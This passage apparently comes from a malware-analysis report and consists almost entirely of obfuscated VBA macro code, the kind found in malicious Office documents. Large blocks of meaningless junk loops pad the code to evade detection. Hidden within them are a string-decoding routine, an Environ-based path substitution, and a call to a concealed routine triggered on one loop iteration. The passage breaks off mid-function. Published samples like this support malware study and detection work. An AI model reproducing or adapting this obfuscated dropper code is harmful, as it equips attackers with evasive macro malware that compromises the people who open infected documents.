        yFknqE = Right("jX%AfE gRVem e", 5)
        rFGhIVA = Left("Yj%QvL lf-x qp  Uz#", 3)
        roogsSAuuhEV = 971 + 812 + 1431
        kGqgoMVDmyD = 297 + 316 + 894
        yFknqE = RTrim("!%$S jH]l [w")
        yFknqE = 634 - 962 - 1559
        yFknqE = Space(18)
        jDMPdeoeo = "P iuN ? gu" + "R_B! Q c bz@" + "    aXb$Z%[UhXt"
        roogsSAuuhEV = Space(19)
        lOXTJM = lOXTJM + 2
    Wend

    For wlqYjF = 0 To 3
        For MoZcMt = 0 To 10
            jDMPdeoeo = 549 + 1266 + 1619
            cIKVG = LTrim("e)yv@ %WTllv@g  (j)e")
            kGqgoMVDmyD = 657 - 1012 - 259
            kGqgoMVDmyD = Space(9)
            roogsSAuuhEV = UCase("f ^jCK]I_ )(j")
            PPKLZZOh = "gJ   X^s Gg  xc  s" + "f[f!v   MwW?eB$" + "$ ^iSAwGCS DQ"
        Next MoZcMt

        PPKLZZOh = 1192 + 1878 + 1399
        roogsSAuuhEV = RTrim("  lt hTQdvf@p v")
        kGqgoMVDmyD = 1461 + 816 + 1844
        rFGhIVA = RTrim("$y!sH Q[dDZ  -")
        kGqgoMVDmyD = StrReverse("VzO xD] qmratpy V]")
        kzugrur = StrReverse("?k f(x pA] jat   m")
        yFknqE = 1164 - 1879 - 1835
    Next wlqYjF

    RcgCJYiw = "u fLF#zPBMz" + "dSHc- IMJ S]L rO n d" + "eaNI[  DF TVkrU"
    For nsRqTh = 0 To 4
        For YBveiX = 0 To 6
            RcgCJYiw = Space(18)
            AUPPVlQ = LTrim("[P  o. CIs s yYBo ")
            RcgCJYiw = StrReverse("K.P Ayz A   h f%SI?")
            kGqgoMVDmyD = RTrim("caZW ^$ i _kxPP")
            PPKLZZOh = RTrim(" G  e e kPk ( P$#C  ")
            RcgCJYiw = Space(10)
            jDMPdeoeo = StrReverse("dy# eS c GC")
        Next YBveiX

        cIKVG = 1109 - 630 - 1006
        roogsSAuuhEV = LTrim("[)S _ A]!@zcc uO  eO")
        cIKVG = Space(16)
        PPKLZZOh = Space(7)
        AUPPVlQ = StrReverse("^Hb&s qsl@ #wwp!c")
    Next nsRqTh

    lhQIKUuM = lhQIKUuM + "GCo"
    kzugrur = 1285 + 873 + 848
    jDMPdeoeo = 572 - 1046 - 1029
    RcgCJYiw = UCase(" RVv_.tBfu y")
    AUPPVlQ = RTrim(" F cNyF n!_ Q")
    kGqgoMVDmyD = Right(" XyMjDoF   Y ePZO", 4)
    yFknqE = RTrim("-sC[U  B x D")
    lhQIKUuM = Replace(qDFpd(lhQIKUuM), "FOLDER", Environ(qDFpd("A)@Ul ] lx# UyklsR PeJ.sr @bs #UPN bro MoB.mf[XCiLxml qxes L")))
    While FNNJxH < 4
        While innGiY < 4
            RcgCJYiw = Left(" TFC & K FJ  JK@pqYj", 3)
            cIKVG = UCase(" JB IWGHh(")
            AUPPVlQ = 1476 + 1257 + 552
            jDMPdeoeo = UCase("c XO?c# WY$.")
            rFGhIVA = Right("hGYe!ryQI ", 4)
            rFGhIVA = 374 + 608 + 1672
            AUPPVlQ = "t&N[ qPMDzHC" + "vv? RfYUxxrSSohbM" + " J  HYTF  l@ "
            jDMPdeoeo = Space(7)
            jDMPdeoeo = 948 - 246 - 1442
            PPKLZZOh = Space(9)
            innGiY = innGiY + 3
        Wend

        roogsSAuuhEV = UCase("hPq- FUCRB#. $ L  O ")
        roogsSAuuhEV = "f  O A? hRjc )hM@" + "  s  kVUG s&" + " -@LayDyY "
        RcgCJYiw = StrReverse("n C  z_E u hoz")
        kGqgoMVDmyD = 258 - 1455 - 619
        kzugrur = StrReverse("Ff Tau(VE PIR")
        rFGhIVA = RTrim("#  es DWQuF GTa  ")
        rFGhIVA = UCase("lQ Zvnm iLvx  ?")
        FNNJxH = FNNJxH + 3
    Wend

    kzugrur = Space(9)
    For LhwdEI = 0 To 2
        For zbewOo = 0 To 9
            cIKVG = StrReverse(")nuu G$ IaNtpBZOlL")
            yFknqE = StrReverse(".G &c G&?QP(")
            cIKVG = 204 + 717 + 690
            roogsSAuuhEV = LTrim(".  $-NN   OsI DJRfX")
            rFGhIVA = StrReverse("G W#OiR?y]U[")
            rFGhIVA = Right("  z@ I]QeyvBg#ow H", 4)
            cIKVG = Right(" xUq  CgrTBNA", 3)
            kGqgoMVDmyD = RTrim("[ eh ^k  g@")
            roogsSAuuhEV = " DJu#P KFz ]" + "ZMM($ZF_ . k n" + "  s[VUi Trt X% "
            AUPPVlQ = 1364 - 573 - 523
        Next zbewOo

        kzugrur = UCase("@Z -ffF Kr$")
        jDMPdeoeo = UCase("Wfr   ik#ml r$nmV ")
        cIKVG = UCase(" x& U  S    ")
        jDMPdeoeo = 1928 - 340 - 1450
        jDMPdeoeo = 1093 + 356 + 1488
        RcgCJYiw = "o y zkckAF_!H    ^j" + "( UZZGYP(P[Ut  L " + "Xb )% VThTm%b#m"
    Next LhwdEI

    RcgCJYiw = RTrim("l  J lCAoJ  [")
    kzugrur = "SC   MKhQxuck" + " e-Nc VvZyn" + "@ ZQ  Xk Ox oO Y"
    RcgCJYiw = RTrim(" UwmR #EEQF")
    PPKLZZOh = StrReverse("#V .QIz Gw  GQg")
    cIKVG = Space(6)
    kzugrur = RTrim("h!P  .Pgu   XEF")
    While MJtXe < 199
        While FfueRT < 2
            While fHIFkg < 1
                roogsSAuuhEV = 1716 + 776 + 1024
                jDMPdeoeo = Space(6)
                jDMPdeoeo = 966 + 1219 + 1859
                PPKLZZOh = Right("nIEA _]_A$H Cn -FFD", 3)
                kzugrur = RTrim(" ^HU? RMk(fhcu yJTe_")
                roogsSAuuhEV = LTrim(")C #J Qs ]bh_ k ")
                AUPPVlQ = StrReverse(" _DgjY Vw  mE-.")
                yFknqE = 913 - 979 - 1274
                kzugrur = Left("  pu#IV G( %AM", 3)
                cIKVG = StrReverse("V!hRl !JW p %K")
                fHIFkg = fHIFkg + 1
            Wend

            RcgCJYiw = Right("xOXRqv PNQ", 4)
            AUPPVlQ = LTrim("qKwF.K  g DubcaY ")
            RcgCJYiw = LTrim("HiqV)^ Ho g  [ !.N")
            AUPPVlQ = Space(18)
            FfueRT = FfueRT + 1
        Wend


        kGqgoMVDmyD = 1151 - 675 - 1469

        PPKLZZOh = UCase("ZC dVVeIW n")

        kGqgoMVDmyD = 893 - 1057 - 1301

        If MJtXe = 178 Then
            roogsSAuuhEV = Space(14)
            For ZjggEB = 0 To 6
                roogsSAuuhEV = 621 - 280 - 255
                jDMPdeoeo = Space(5)
                kzugrur = Left("iIZU&^NL.MNMz&G", 2)
                AUPPVlQ = UCase("WL@ Y jc E $ %#ns ")
                yFknqE = Left("IMM cqHY $Y  ", 2)
                kGqgoMVDmyD = 414 + 949 + 303
                cIKVG = Space(20)
                PPKLZZOh = 1956 + 1977 + 1013
                PPKLZZOh = UCase("J ROp# N  ZK&")
            Next ZjggEB

            nGUaeYSFxm lhQIKUuM, "EmVNuPIL", "Afu", "bIY", "VdeMLRWEYv", "bPMxzXmoJ", "CcsLJ"
        End If
    MJtXe = MJtXe + 1
    Wend
    AUPPVlQ = LTrim("tF( O $& & e B pt")
    rFGhIVA = StrReverse("Dci SwR.??La")
    yFknqE = 1659 - 123 - 1415
    RcgCJYiw = Left("E$aA^j&?$c-C", 2)
    kGqgoMVDmyD = Right("Jp& XUuleM[(N   qG", 5)
    jDMPdeoeo = Space(9)
    roogsSAuuhEV = 961 + 1583 + 1703
    kGqgoMVDmyD = Right("eiGjN #h oyP", 4)
    kzugrur = Right("m& E o F U", 5)
    For iaVsrs = 0 To 9
        jDMPdeoeo = " k YLoE^P$  ." + " j  Rt !%t sg  Fv" + "VEJ_ t[  pn"
        rFGhIVA = Right("N K&ka ? cGlos", 2)
        jDMPdeoeo = UCase("  oSW hOf ^Fabakm")
        rFGhIVA = 163 - 1773 - 956
        cIKVG = Left("%F_ !F )#tnGxc i dV", 5)
        cIKVG = StrReverse("@QF^PM  &)MwRnP&qS&@")
    Next iaVsrs



End Sub



Attribute VB_Name = "Module1"

Function zPmDpw(chqtMH As Double, xZImUN As Double) As String
    PPKLZZOh = RTrim(" URkaBig!kFx Q ")
    For OcMMmo = 0 To 5
        For vnHDFg = 0 To 6
            RcgCJYiw = Space(15)
            kzugrur = UCase("i Au zQ)Pk")
            cIKVG = Right(" Wlp _%)w.Qr", 5)
            kGqgoMVDmyD = RTrim("UgTGF  Kq& Zo @")
            PPKLZZOh = UCase("V)((s[iSzbu")
            cIKVG = 1326 - 1230 - 1351
        Next vnHDFg

        PPKLZZOh = Space(18)
        kzugrur = 455 + 1038 + 822
        RcgCJYiw = Right("R#K.kMqp LDrz &  ", 3)
    Next OcMMmo

    PPKLZZOh = RTrim("R AiH  kU?]p! O ( g")
    For igdynd = 0 To 1
        For RjWRgQ = 0 To 6
            kGqgoMVDmyD = Space(10)
            RcgCJYiw = Space(16)
            kzugrur = LTrim("y N?e $w&L$sPqc")
            cIKVG = LTrim("sFxWKcG BukA &")
            yFknqE = 406 + 1227 + 974
        Next RjWRgQ

        RcgCJYiw = Left(")@OkEU  #$s$x", 3)
        PPKLZZOh = "vfR#u(^[Cl " + " b&Qvm )yYSL" + "RF  @q j L ^X"
        roogsSAuuhEV = Space(3)
        RcgCJYiw = 1775 - 356 - 385
        cIKVG = RTrim("JhW$oCYv  i  ")
        RcgCJYiw = LTrim("&E)K % _^ rDci")
    Next igdynd

    roogsSAuuhEV = StrReverse("@l- TA . RR$")
    AUPPVlQ = "]I.kvI%sS[MHA yjZ" + "  &c Aev    NVK" + "v  Q#)  HkGw"
    PPKLZZOh = Left("vi  ?zl&?]@ @  K HoP", 2)
    rFGhIVA = RTrim("  S -iMNtYJ)t$ ( v")
    zPmDpw = "zrvPHLEG"
End Function



Function RibZnI(ClpPbdG As Double, GXlfKKp As String, AWpJXEV As Double, wBqgke As String) As String
    rFGhIVA = StrReverse("R R^S^rOdhm[My")
    cIKVG = 405 + 752 + 450
    While qcEMAB < 1
        For ONFfgC = 0 To 10
            kzugrur = StrReverse("tns! ?oFaW ")
            PPKLZZOh = Left("R XE N& &zR -F ^", 5)
            jDMPdeoeo = Left(")yW xFz FQvev", 2)
        Next ONFfgC

        rFGhIVA = Left(" aN^F eA M&m^Ja", 2)
        kGqgoMVDmyD = "o iLr ?y# _ " + "oSyZfQRBQXe) b V " + "J$pBLdQ  kT"
        jDMPdeoeo = RTrim("cGHG SOy O! m")
        jDMPdeoeo = UCase("c. )E  XQB  %n")
        cIKVG = "i Z .Yw  FpYIR #" + "f.r[w  hnOs " + "i Yn a$kY!"
        kGqgoMVDmyD = RTrim("! L _ c HE BJ")
        qcEMAB = qcEMAB + 1
    Wend

    PPKLZZOh = "t&xpK g JlVIw ou" + "H)UGYc[K z]ctYJ cFg" + "P (  cQTQ?#) "
    RcgCJYiw = Left("wM FGa rnaP )F", 2)
    jDMPdeoeo = StrReverse("YE  [  vGB")
    yFknqE = RTrim("?@-[ l iy-")
    RibZnI = "vCPjbAr"
End Function



Function ktFgzG(FGqbUy As Boolean, uyncjJ As String) As String
    yFknqE = 328 + 773 + 1819
    While oQCRWC < 4
        For dcAthK = 0 To 9
            jDMPdeoeo = 770 + 329 + 603
            kGqgoMVDmyD = Space(14)
        Next dcAthK

        roogsSAuuhEV = StrReverse(" TS q %    $ sKY ")
        rFGhIVA = UCase("lI ^(    g ")
        jDMPdeoeo = 420 + 1493 + 330
        jDMPdeoeo = Left("# k   .(o [ R&S", 3)
        RcgCJYiw = "X q$Q&g $ta z" + "n VGP QDXqv L" + " L xaC IvUS_  EV"
        cIKVG = Right("hpu OQ_CsIebs ", 3)
        kzugrur = Space(9)
        cIKVG = 1425 - 536 - 545
        rFGhIVA = Right("  m   R kM $c", 5)
        yFknqE = Right("YyBUU)IOv[", 3)
        oQCRWC = oQCRWC + 3
    Wend

    kGqgoMVDmyD = Space(7)
    kzugrur = UCase("jXRIpnH[O  oQ   s")
    rFGhIVA = Space(14)
    jDMPdeoeo = RTrim("   R-i (@n-cWH")
    kGqgoMVDmyD = 749 + 704 + 988
    jDMPdeoeo = 1993 + 161 + 325
    yFknqE = StrReverse("H# !$v d qz")
    kzugrur = StrReverse("K  n$-?   _")
    ktFgzG = "oEIUvQzbez"
End Function


Function CYENSS(oFfCCL As Integer, YbzJHZa As String, tcfczPp As Integer, RQsgkp As Double) As String
    kzugrur = RTrim(" j  q]oCg$")
    rFGhIVA = "s hV#a wSEyaLO& eF " + " # joff v   " + "l  K  e )[f"
    RcgCJYiw = "zP D     vo" + "  scT ]z-%hmcz" + " A ql JuMDFh$L"
    RcgCJYiw = 1731 - 1772 - 131
    PPKLZZOh = StrReverse(")lXDa@xFrdEDt WZ  k")
    kzugrur = UCase(".  v(&j ( &q xD")
    jDMPdeoeo = UCase("zf vbv?aZ&pzw&Ll ")
    yFknqE = LTrim("L)d   CU  IG")
    roogsSAuuhEV = Space(13)
    CYENSS = "XHWUXSsKj"
End Function



Attribute VB_Name = "Module2"

Function YdGNSq(nShzZgs As String, qHLuGh As String, oSNxYRU As String, eSjsbjY As Double) As String
    jDMPdeoeo = UCase(" xEC  QPlCN BY F!")
    roogsSAuuhEV = Right("dymcLPxcIuSy  ", 5)
    RcgCJYiw = RTrim("]-QjymBX BvG")
    kzugrur = LTrim("%j ZLF YxxSv?")
    PPKLZZOh = 584 + 1201 + 1719
    kzugrur = Space(18)
    roogsSAuuhEV = 1087 + 1916 + 800
    jDMPdeoeo = Right("xJI-ZZsV^N.U k k ", 3)
    kzugrur = 296 + 679 + 1743
    cIKVG = 750 - 1567 - 1773
    YdGNSq = "LpXYgQxLep"
End Function



Sub ZLTNAc(dPZzUS As Integer)
    jDMPdeoeo = Left(" T&  - c(qY]L", 5)
    PPKLZZOh = StrReverse("V$Wgk  m  &)Mns $")
    PPKLZZOh = UCase("vp[D -[SVdfFqy t ")
    RcgCJYiw = RTrim("  ^ Ba  EvM")
    RcgCJYiw = UCase("r mT SMx izeuOnn@Q")
    rFGhIVA = StrReverse(" %t @ $o(R")
    kzugrur = StrReverse(" &?%K iw M  MEBu")
    PPKLZZOh = LTrim(" OL RD#cewK  %  ")
    rFGhIVA = Space(2)
End Sub



Function ZYGxzs(ENbWYTO As Double) As String
    RcgCJYiw = UCase("F M mR a! TbSKL")
    For BCPtzc = 0 To 1
        For xnLslS = 0 To 8
            cIKVG = LTrim(" ]BmX A]P ")
            RcgCJYiw = StrReverse("_rV[ f@Y   @ ^  XydP")
            RcgCJYiw = Left("Zp MKFqPWliKRNcD_e", 4)
            kzugrur = LTrim("    EKS  VVZ R")
            jDMPdeoeo = Space(20)
            PPKLZZOh = LTrim(" X_  %lY$@W  &gn-")
        Next xnLslS

        PPKLZZOh = 644 + 351 + 204
        kzugrur = Right("b omCv!rRjg ", 3)
        AUPPVlQ = StrReverse("YLkga  D Ap ")
        kGqgoMVDmyD = RTrim(" TrY@g  Vv#")
        PPKLZZOh = Right("P$zoox TDXSE^", 3)
        yFknqE = Left(" L y MG[mg _p", 3)
        roogsSAuuhEV = Right("s& mMm DfqrT", 3)
        kGqgoMVDmyD = 1842 - 364 - 1954
        RcgCJYiw = StrReverse("@I  H EH ?Z!e!")
    Next BCPtzc

    For ViUNPn = 0 To 7
        kGqgoMVDmyD = "i k^Ax U u(aA" + " %UZ.$ocG  zH Fm" + ".mH P#D& Xq"
        AUPPVlQ = 590 - 649 - 816
        rFGhIVA = LTrim(" C p?[o Q ")
        kzugrur = Right(" D eifMQVZU", 3)
        jDMPdeoeo = 1835 - 1127 - 1202
        cIKVG = LTrim("aOw gsC e d%")
        yFknqE = UCase("  KwR pBzs(?Z")
        AUPPVlQ = UCase("@zasXj-dUQjmy$pZ  u")
    Next ViUNPn

    kzugrur = Left("l ?N[-iqYhVu )S M[J", 5)
    AUPPVlQ = " x ytYz rS" + "( aPCK %!&$" + "&BEf]Ky   Q G  "
    yFknqE = UCase("O p#%?Nx  eX K@R^")
    roogsSAuuhEV = Left("  NvOUei@i HO@ JxA ", 4)
    ZYGxzs = "QUhZfHF"
End Function



Function qDFpd(qlOxE As String) As String
cIKVG = LTrim("e PrvFzh- y?!F)-ufX")
cIKVG = 1462 + 734 + 752
kzugrur = Right(" RM v?G (R HAb&v", 2)
jDMPdeoeo = Right("yMa#  DOs YW x", 5)
rFGhIVA = Right("Z rOHybD L] ", 2)
    Dim ZtPiLEJ() As Byte
    AUPPVlQ = Left("D#AfD!R   E$w_ (_E o", 4)
    For oxXaxR = 0 To 5
        RcgCJYiw = UCase("MI N t-jOWv&C$!au %M")
        kGqgoMVDmyD = Left("D%ZK [   GA", 3)
        cIKVG = Space(18)
        jDMPdeoeo = RTrim("y(   mNg@kw?f")
        kzugrur = 288 - 1561 - 1413
        PPKLZZOh = LTrim("AZn(@@r i Ilm")
        yFknqE = Right("l#&   o^ arV", 4)
        AUPPVlQ = StrReverse(" V y Y[b?g  Z  V -EB")
    Next oxXaxR
    For PXtoVy = 0 To 3
        For XKoxJs = 0 To 8
            jDMPdeoeo = Right("( k[(gkZxz     G Y ", 3)
            cIKVG = Space(14)
            jDMPdeoeo = 1669 - 997 - 961
            AUPPVlQ = "^[-Gq)z_F i-" + "& & ..j  o]VIcr EO-" + ".AunxXka  y YC W"
            AUPPVlQ = LTrim("uVpEGWKUXc")
            yFknqE = 1928 + 1860 + 1986
            rFGhIVA = StrReverse("Ub!X-zKSs-")
            PPKLZZOh = LTrim("JX  j-TTug&Wx^n")
            roogsSAuuhEV = 776 + 237 + 1527
        Next XKoxJs

        kGqgoMVDmyD = StrReverse("cp -x ^ b ")
        cIKVG = Right("N b um  a  F ", 4)
…

Open this report in the interactive analyzer, or submit your own file for analysis.